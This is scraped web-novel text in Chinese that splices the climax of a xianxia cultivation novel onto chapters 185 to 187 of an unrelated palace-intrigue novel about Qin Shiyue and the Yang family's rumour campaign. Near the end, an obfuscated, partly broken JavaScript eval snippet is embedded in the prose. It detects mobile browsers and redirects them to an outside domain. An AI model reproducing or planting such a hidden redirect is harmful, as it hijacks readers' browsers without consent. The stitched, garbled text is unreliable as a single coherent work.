“我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第185章 杨家的反击 听到这,杨雪莹脸色铁青,重重坐在了椅子上。 贴身丫鬟听完,顿时气愤不已,“这辰王也太过分了,竟然为了秦时月那等贱人让小姐不快……” 杨雪莹冷哼一声,“哼,有仇不报非君子,我定要想个法子,让他们知道得罪我杨雪莹的下场!” 贴身婢女皱着眉思索片刻,道:“小姐,要不,咱们找老爷想想办法?老爷在朝中人脉广,就是太子在世时对老爷也是礼遇有加的,只要老爷肯出手……” 杨雪莹眼睛一亮。 对啊,父亲人脉广,在朝中地位举足轻重,只要父亲出手,还怕弄不死区区秦时月? 想到这,她嘴角勾起一抹阴狠的笑意,“走,去找父亲!” 前厅,杨太师正和太师夫人喝茶,二人满脸愁容,太师夫人更是双眼红肿,脸颊消瘦的样子,明显这几日过的都不好。 看到她过来,杨太师眉头紧皱,问道:“回来了?怎么样?” 杨雪莹立刻扑到太师夫人怀里,哭哭啼啼地将她在辰王府的遭遇说了一遍,随后紧接着喊道。 “父亲,您可要为女儿做主啊,那秦时月实在欺人太甚,害死了兄长不说,还让女儿在辰王面前丢尽颜面,女儿实在咽不下这口气!” “放肆!”杨太师脸色一沉,心中对秦时月顿时多了几分不满。 他早听说过这个明月县主,说什么救了皇后一命,在皇宫宴会上处处出风头。 原以为是个安分的,没想到,竟是个心思歹毒、手段狠辣的主儿! 他儿子虽不成器,但尚有他和夫人在,她却不说一句就把人害死,如今还欺负到他女儿头上,他怎能不怒!? “雪儿,你莫要着急,为父定会给你和你兄长要一个交代。只是那秦时月背后有皇室撑腰,此事还要三四后行。” 他浸淫朝堂几十年,是只老谋深算的狐狸。 宋墨辰如今一家独大,军功在身,深得皇上信任,他们,不能轻举妄动。 杨雪莹急了,“父亲,难道就这么算了?女儿受些委屈没什么,可兄长呢?就这么不明不白的死了?” 太师夫人颜面痛哭,声音悲痛,“你如今坐上了太师之位,如今儿子死了,做事还要瞻前顾后的,以后非要人家杀上门,杀咱们一家百十口的时候,你才肯动手吗!” 杨雪莹咬着牙,继续道:“我知道父亲谨慎,但咱们可以想别的办法呀。” “我来的时候已经想过了,明面上父亲不好针对秦时月,但咱们可以将此事传出去,坏她名声。此事一旦闹到陛下面前,陛下也好,皇后娘娘、辰王也罢,如何也包庇不了那个贱人!” 听了杨雪莹的话,杨太师沉思片刻,缓缓点头道:“雪儿,这主意可行。只是此事万不可声张,需做得隐秘些,不能让别人看出是咱们在背后推动。” 杨雪莹眼中闪过一丝得意,连忙说道:“父亲放心,女儿明白。女儿这就安排人去办,定要让那秦时月身败名裂!死无葬身之地!” 杨太师的眼里闪过一丝狠厉。 他儿子死的不明不白,若不让恶人伏法,他杨家以后在这京城还有何颜面立足? 明月县主虽得皇室信重,但只要此事做得巧妙,他们也抓不到什么把柄,此事,可成! 两日后,长乐侯府。 秦时月刚起床不久,小荷就急匆匆的冲了进来。 “小姐,不好了!” 肖嬷嬷皱皱眉,有些不悦,“小荷,说过多少次了,虽然是自家院子,还是有些规矩的好……” “嬷嬷,出大事了。”小荷满脸着急,扭头看向秦时月,“小姐,方才奴婢出府采买,路上到处都在传您,您……” “传我什么?传我心狠手辣,还是传我杀人不眨眼?” 秦时月轻笑一下,目光始终落在铜镜上。 今日这簪子,并不符合她今日的妆容…… “嬷嬷,还是帮我换上方才那支琉璃簪吧。” 她多日未去长公主府请过安了,听闻长公主近两日吃不香,她打算去看看,装扮的太华丽不太合适。 小荷见她并不担心,放心了些,但还是一脸不忿,“外边在传,您心狠手辣,不仅买凶杀人,还与男子之间不清不楚的……总之,都是些不堪入耳的脏话。” 秦时月挑挑眉,“不用想也知道这是杨家做的,可惜呀,一家子都是蠢货。” 肖嬷嬷听完,脸色却变了变,“小姐,这些谣言一旦传开,对您的名声可是大大的不利啊。虽说咱们行得正坐得端,可三人成虎,不加控制的话,只怕会闹出大事。” 秦时月倒是镇定,她起身给自己倒了口茶,轻抿了口茶,缓缓说道:“嬷嬷别急,他们既然想玩,那我就陪他们玩玩。小荷,你可知这些谣言是从何处传出来的?” “奴婢打听了,似乎是从城西的一家茶楼开始的。”小荷想了想,道。 秦时月冷笑一声,“城西茶楼?看来,就是有人故意在那散播消息。小荷,你去跟武正元说一声,让咱们在京城的人手动起来。” “是要搜集杨家的罪证吗?”小荷一脸兴奋。 “不,带头散播谣言的,一律抓起来下狱!” 秦时月有一下没一下的扣着桌面,声音冷漠不已。 宋墨辰那边有杨家的罪证,她没必要费劲去搜罗,她要的,是让事情再大一些! 小荷虽然不明白秦时月的用意,但还是迅速离开院子,去了后院。 武正元和几个暗卫为了能光明正大的留在秦时月身边,都以家丁的身份入府,此时正在后院劈柴火。 得到命令,几人立刻行动,几个呼吸间就离开了侯府。 “小姐,如今外头风头正盛,您还去长公主府吗?”肖嬷嬷有些担心。 秦时月笑着起身,抬脚往外走去,“去呀,长公主向来喜欢热闹,但凡听到此事,一定会笑开怀。” 她刚出院子,就被长乐侯身边刚提拔起来的下人拦住了,“大小姐,侯爷让您去一趟。” 看着眼前这个长的秀气,但却面生的下人,秦时月面色不变,心里却多了个心。 第186章 芳夫人拿乔 目前,整个侯府都在她的掌控中,家里的人员调动,明面上是芳姨娘在管,但实际上,都要过她的眼,为的,就是不再出现卓静那样的事,让她陷入被动。 可现在看来,有些事,又超脱她的预料了。 是芳姨娘存了别的心思,还是别的,暂时还不好说…… “大小姐?”来人见她出神,皱皱眉,出声提醒。 秦时月回过神来,心里冷笑一声,道:“走吧。” 父亲突然找她,无非因为外面的谣言,呵,无趣。 到了书房,只见长乐侯一脸凝重地坐在书桌后,见她进来,突然抓起面前的茶盏,朝着她砸了过来。 秦时月微微侧身躲过茶盏 ,眼神一冷,“父亲这是做什么?” 长乐侯见状,气得脸色铁青,手指着秦时月,声音颤抖地骂道:“你还有脸问!外面都传成什么样子了,你做出这等败坏门风之事,让侯府的脸面往哪搁!” 她强压心底的怒意,面不改色地坐下,道:“父亲,女儿行得正坐得端,这些不过是有人故意散播的谣言,意在毁我名声,您当真看不出来?” 长乐侯冷哼一声,“就算是谣言,就算我看得出来又如何?因为你,侯府被人在背后指指点点,说不定陛下那边都得到了风声!” 秦时月直视着长乐侯的眼睛,平静地说,“陛下知道又如何?我没做过,他难不成连辩解都不听,就直接定我的罪?” “你,你这个逆女!如今侯府是盛不下你了是吗?你当真以为有皇后、辰王撑腰,你就可以无法无天了是吗?我告诉你,陛下震怒,任何人都护不了你!” 没做过?京中传的有鼻子有眼的,他不信她什么都没做过,人家就传成这样,况且,如今的秦时月,还有什么不敢做的!? 秦时月起身拂拂裙摆,表情淡漠,“我同父亲不一样,我从来不会将自己的生死寄托在别人身上。” 说完,她冷冷勾了一下唇,一言不发的转身就走。 前世她怎么没发现,她的父亲竟是这种胆小如鼠,只敢将脾气撒在自家人身上的怂货? 杨家想玩,她陪着就是,至于长乐侯府……看来,有必要见见芳姨娘了。 如今芳姨娘已经做了长乐侯府的夫人,早从芳萍园搬到了暖香园,身边除了一开始跟她进府的,又多了几个贴身伺候的婢女和嬷嬷。 小荷进来传话的时候,她正斜斜躺在贵妃榻上养胎。 “是小荷姑娘啊,不知大小姐找本夫人所为何事?” 芳姨娘,不,如今是芳夫人了。 芳夫人似笑非笑的看着小荷,略显浮肿的手轻轻抚摸着孕肚。 如今她怀孕七月,正是身子笨重的时候。 她还请大夫看过,是个男胎。 秦明远也是个有出息的,不过十岁,便多次受到先生的表扬,深得长乐侯喜爱。 如此一来,他们娘仨的地位是越发稳固了,也正因为此,这段时间她为秦时月办事,不再像之前那般上心。 小荷见状,抿了抿唇,道:“小荷不知,只知道小姐让我来传话,让您去揽月园一趟。” “小荷姑娘,不是本夫人不想去,实在是怀孕辛苦,侯爷心疼,不让本夫人多加走动,要不……” 芳夫人故意拖长了声音,眼睛里满是得意。 小荷心中恼怒,还想说什么,芳夫人身边的嬷嬷已经冷着脸,盛气凌人的开始赶人了。 “小荷姑娘,夫人月份大了,经不起折腾,大小姐要事有事相商,还是请她走一趟吧,请!” “你,你们……”小荷被气的胸膛起伏不断,咬咬牙跺跺脚,转身离开了。 芳夫人眼神微暗,心里有些忐忑,由嬷嬷搀扶着坐了起来。 秦时月的手段她清楚,惹她不快,她连亲娘都不放过,更何况她一个后抬上来的夫人。 想到这,她扫了眼身旁的嬷嬷,犹豫着问道:“你说,大小姐若是动怒,会不会做出什么疯狂的事?” “夫人放心,现在您和肚子里的少爷是侯爷的心头宝,大小姐就是再不快,也不会在这个时候跟您闹不愉快。” 一句话,瞬间安抚了芳夫人。 她倒是忘了,现在就连侯爷都对她多加容忍,就为了让她平安待产,秦时月就是再狠辣,也绝对不会在这个时候闹事。 想到这,芳夫人安心不少,在嬷嬷的搀扶下走到圆桌旁坐下,随手捻起一颗葡萄丢进了嘴里。 另一边,小荷一路生着闷气回到了揽月园,然后一五一十将刚才的事说了出来。 此时秦时月正在修剪花枝,听完后,嘴角勾起一抹微不可查的弧度。 这段时日没搭理她,倒叫她忘记了自己的手段了…… “小姐,芳姨娘欺人太甚,早知如此,当初您就不该帮她。”小荷义愤填膺。 秦时月轻笑一下,“这个世上,原本就没有牢不可催的合作关系,之所以能合作,不过是有共同的目标或利益,现在她得到了想要的,自然想甩开我。” “不过啊,她太着急了。她肚子里的那团肉能不能平安降生,还不是我一句话的事?呵。”她眼神微暗,淡定剪下花枝上开的最艳的那朵。 “那小姐,接下来怎么办啊?” 芳姨娘不肯过来,难不成,真的让小姐过去见她? “她不肯来,想必是嫌你的身份不够重,影夜!”秦时月眼皮都没抬,“‘请’芳夫人过来一趟。” “是!” 不过片刻,影夜就提着一个大腹便便的女子走了进来,那女子不是芳夫人又是谁? 影夜可不懂什么怜香惜玉,一进门就将她扔到了地上。 “我的孩子!”芳夫人小腹一痛,顿时被惊出了一身冷汗。 抬眸看到秦时月后,脸色瞬间惨白一片,“大,大小姐。” 秦时月怎么敢的!她不知道,一旦自己和腹中的孩子出事,侯爷定然不会放过她吗? “影夜,我让你请芳夫人过来,你怎么毛手毛脚的?”秦时月没理会芳夫人,将花枝剪啪的一声拍在桌上,一脸不悦的道。 第187章 粗鲁的影夜 “属下知错。”影夜表情不变,恭敬认错。 “退下吧。”秦时月嘴角带笑,款款走到芳夫人面前,居高临下的看着她,“我的人不懂规矩,还请夫人,见谅。” 芳姨娘心中一惊,额头上的冷汗不由自主的沿着脸颊流了下来。 她眼神闪躲,说话结巴,“没,没事,不,不怪他……” 秦时月的眼神好可怕,她怎么忘了,这可是个**不见骨头的狠角色啊! 秦时月噗嗤一笑,起身走到一旁坐下,然后给自己倒了杯水,任由芳夫人在地方坐着,突然说道:“夫人,我今日见父亲身边新提拔了个下人,我怎么一点风声都没收到啊?” 芳夫人心中一惊,脸上却强装镇定,吞口唾沫道:“大小姐,这事儿本夫……妾身也不太清楚啊,侯爷心疼我月份大,最近府中的事务都是他处理的,可能是他自己安排的。” “哦?是吗?夫人,我一直以为你是个聪明人,咱们之前合作得也算愉快,可这段时日你的表现,可是让我有些失望啊。”秦时月的嘴角挂着冷笑,“如今侯府外谣言四起,若是再加上府内不安稳,你觉得,会有什么后果?” 她没提芳夫人腹中的骨肉,但她还是被吓到不断冒出细汗。 她赶忙跪好说道:“大小姐,妾身对您忠心耿耿,绝无二心,这事儿妾身是真不知情,要不,妾身这就去查查?” 秦时月喝口茶润润喉咙,眼神带笑,“夫人这是做什么?小荷,还不将夫人扶起来。” 小荷一脸不愿意的样子,但还是走过去将人扶了起来。 芳夫人双腿发软,心虚的不敢和秦时月对上视线。 “这府中一直是夫人掌家,我自然是信得过夫人的,那府内的事……我就等夫人的好消息了。” 秦时月话落,芳夫人连连点头,“是是是,大小姐放心,妾身一定查个水落石出。” “辛苦你了,你下去吧。”秦时月半眯着眼,道。 芳夫人如蒙大赦,踉踉跄跄的往门口走,刚走到门口,秦时月的声音再次响起,“记住,我能让你坐上这个位置,也能随时让别人取而代之!” 她的话让芳夫人心头一惊,脚下一个踉跄,差点栽倒。 好在肖嬷嬷虚扶了一下,稳住身形后,她才脚步匆匆的离开。 看着她离去的背影,小荷愤不下的跺了跺脚,“小姐,奴婢看,芳姨娘根本没有说实话,您就这么放过她?” 秦时月轻笑一声,唤来了影夜。 芳姨娘不足为据,她要的,是在出嫁前,将整个侯府握在手中,至于芳姨娘的立场,根本不重要。 与此同时,太师府。 杨雪莹正得意地听着手下的回报。 一想到秦时月丢尽颜面,此刻已经被长乐侯扫地出门了,她就忍不住想大笑几声。 不止这样,说不定她已经被皇后娘娘和辰王厌恶,他们已经迫不及待的想摆脱这个不要脸的**了! 想到这些,她心里格外舒畅,嘴角不自觉的勾起了一抹得意的笑容。 “**,跟我斗,你还嫩了点!” “小姐英明,过不了多久秦时月就会身败名裂,再也没有翻身的机会,到时候看她还怎么跟小姐挣辰王殿下!”婢女连忙附和。 “行了,知道你这次做的不错,去后院领赏吧。”杨雪莹勾勾唇,道。 现在,事情已经闹到了满城皆知的地步,只要父亲在朝堂上加把劲,秦时月很快就会自食恶果,被所有人唾弃! 朝堂上。 杨太师冷冷看着垂头不语的长乐侯,等其他大臣奏完紧要事务,他才出列。 “陛下,臣有本奏!”杨太师抱拳拱手,“近日京城中传言四起,皆与明月县主有关,原本长乐侯教女无方,臣不该多嘴,可有传言,我儿杨晟,死于明月县主之手,还望陛下明察,还我儿一个公道!” 他与长乐侯府无冤无仇,之所以连长乐侯一起告,为的就是断了秦时月的后路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876693|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他要长乐侯当堂说出与秦时月断绝父女关系的话,让她再无娘家可依! “杨太师说话要慎重!”长乐侯面色大变,连忙站了出来,“街头巷尾的传言您也信,都是些无稽之谈罢了。况且,太师说本侯教女无方,若真如此,时月怎么会得到皇上、皇后娘娘的喜爱呢?” 皇帝坐在龙椅上微微皱眉,视线却不由自主的扫向一旁的宋墨辰。 坊间传言他听到了,也知道此事若处理不当,狠可能会引发朝堂动荡。 不过,七皇子年幼,如今能站在这朝堂上的皇子,仅剩宋墨辰一人,他倒要看看,宋墨辰会如何选。 是选秦时月,还是选,两朝元老! 皇上收回思绪,缓缓开口,“朕理解杨爱卿的心思,只是长乐侯说的对,此事尚无定论,不可偏听偏信,辰王,你以为呢?” 宋墨辰在心里冷哼一声,然后微微垂眸,神色从容,“陛下,儿臣以为,仅凭坊间传言便兴师问罪,实在不妥。明月县主是个娇养在闺中的千金,根本不可能杀死杨晟。杨太师乃两朝元老,理应为百官表率,更应谨言慎行,不可仅凭传言便在朝堂之上随意指控。” 杨太师面色难看,正要说话,宋墨辰继续道:“不过,杨晟之死确实疑点重重,儿臣认为,此事不如交由大理寺督办,也好早日查清杀害杨晟的真凶,还杨晟一个公道,还明月县主一个清白。” 这话一出,倒是给杨太师整不会了。 